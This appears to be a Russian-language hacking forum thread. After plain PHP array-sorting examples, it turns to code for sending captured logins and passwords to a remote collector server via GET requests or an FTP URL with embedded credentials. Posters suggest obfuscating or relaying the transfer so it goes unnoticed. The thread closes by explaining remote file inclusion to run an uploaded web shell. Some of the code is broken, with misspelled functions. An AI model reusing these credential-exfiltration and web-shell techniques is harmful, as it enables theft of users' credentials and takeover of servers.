Red_Red1 пример каг бе из мануала. Захочется в обратном порядке сортировать - сделаете вместо одной функции - класс. Пример так же тут: http://ru2.php.net/manual/ru/function.usort.php PHP: function cmp($a, $b) { return strcmp($a["Familiya"], $b["Familiya"]); } $arr[1]['Familiya'] = 'Петров'; $arr[1]['Imya'] = 'Николай'; $arr[1]['Otchestvo'] = 'Петрович'; $arr[2]['Familiya'] = 'Иванов'; $arr[2]['Imya'] = 'Сергей'; $arr[2]['Otchestvo'] = 'Павлович'; $arr[3]['Familiya'] = 'Сидоров'; $arr[3]['Imya'] = 'Максим'; $arr[3]['Otchestvo'] = 'Викторович'; usort($arr, "cmp"); foreach($arr as $key => $value) { echo "\$arr[$key]: " . $value['Familiya'].":".$value['Imya'].":".$value['Otchestvo']. " ";
PHP: <? function mm($a1, $a2){ return strcmp(substr($a1,3),substr($a2,3)); } function mm1($a1, $a2){ return strcmp(substr($a2,3),substr($a1,3)); } function srt($arr, $num, $tip = 0){ # $num - имя столбца для сортировки; $tip - вид сортировки, 0 - обычный порядок, 1 - обратный; $abc = array(); $fin = array(); foreach($arr as $k=>$v){ $abc[] = $k.'::'.$arr[$k][$num]; } if (!$tip) usort($abc, 'mm'); else usort($abc, 'mm1'); foreach($abc as $elf) $fin[] = $arr[substr($elf,0,1)]; return $fin; } # например вот сортировка по имени в обратном порядке, если взать таблу придложенную гифтсом srt($a,'Imya',1); ?>
PHP: mysql_connect("servername", "login", "password"); mysql_select_db("database"); mysql_query("set names cp1251"); //так, на всякий случай=) mysql_query("insert into table (row_login, row_pass) values ('$who', '$pass')");
ты так ничего не запишешь, на удаленом сервере должен стоять такой же скрипт: PHP: $in=strip_tags(@$_GET['in']); if(!emtpy($in)){ $fp = fopen("logs_name.txt","a+"); fwrite($fp, "Логин: $who Пароль: $pass \n"); fclose($fp); }
хуяссе .. если б так можно было, я б захватил инет PHP: fopen("ftp://blabla:[email protected]/log.txt", "a"); и кстете, зачем ты писал a+ ?? ты вроде только пишешь .. так что ставь просто а. ----------- 2 PaCo а это нах ??? лучше уже прикрутить ещё третий сервер, на который будут передаваться данные с первого, а уже с третьего - будут на второрй
это на удаленом серваке: PHP: <?php $who=strip_tags(urldecode(@$_GET['who'])); $pass=strip_tags(urldecode(@$_GET['pass'])); if(!emtpy($who) && !emtpy($pass)){ $fp = fopen("logs_name.txt","wb"); fwrite($fp, "Логин: $who Пароль: $pass \n"); fclose($fp); } ?> на том с которого осылаешь: PHP: <?php $who=urlencode("root"); $pass=urlencode("паролик"); $addr="http://адрессудаленгосерва/путь_к_скрипту.php?pass=$pass&who=$who"; file_get_contents($addr); ?>
2 PaCo нах это делать гетом ? и почему не открывать fopen'ом фтп ? в чём прикол? чем сложнее - тем веселее? ну так реализуй вариант ещё веселей, описаный постом выше, с использованием 3х серверов...
Я написал так просто что бы показать направления, а с фтп - у него может не оказаться учетки фтп ни на одном хосте. Но раз вы знаток то почему вам не сделать на ssh2 что бы усложнить и так не доконца понятное ему с использованием простых перелинков и посмеяться уже до укачки? Имхо fopen("ftp://blabla:[email protected]/log.txt", "a") - такой способ еше менее безопасный чем мой.
в том что если кто-то получит доступ к сайту его ждет бонус в качестве доступа по ftp на другой сайт. И знаете вы это лутчше чем я (ответ получился завернутый).
нуу.. в этом смысле .. ну это конечно да, но в принципе, если сделать небольшую обфускацию, то взломщик не заметит этот самый фтп, если конечно не будет копаться в скрипте сиьлно, или ещё хуже - тестить на локалке со снифаньем .. но кому это нах надо ? а вот гетом перелавать, это точно никому не надо .. если юзать скрипт на 2ом сервере, лучше уж передавать постом и сделать небольшую автозамены некоторых символов в скриптах, для большей уверенности ..
согласен на 100%, энто я так для примера(пример вышел ламерский этно да, но каков вопрос таков ответ), можно вообше открывать сокет, маскировать переменные под плюшки, а уже на втором скрипте брать эти самые плюшки, можно еше что то типа авторизации сделать, короче на что хФатит фантазии и времени.
Если ты про PHP-in то PHP: incude xXx.php; Сама бага заключается когда делают так Допустим на сайте my.ru ->написанно вот это PHP: incude $per/xXx.php; Тогда если заместо $per подставить http://mysite.ruИ если зальём наш ШЕЛЛ по адресу http://mysite.ru/xXx.php То мы запустим наш ШЕЛЛ Думаю ты понял !
не полностью, но понял. Можно ли самому инклюдить на сервер свой скрипт, к примеру: www.mysite.ru/blah-blah.php?blah={инклуд} возможно ли это?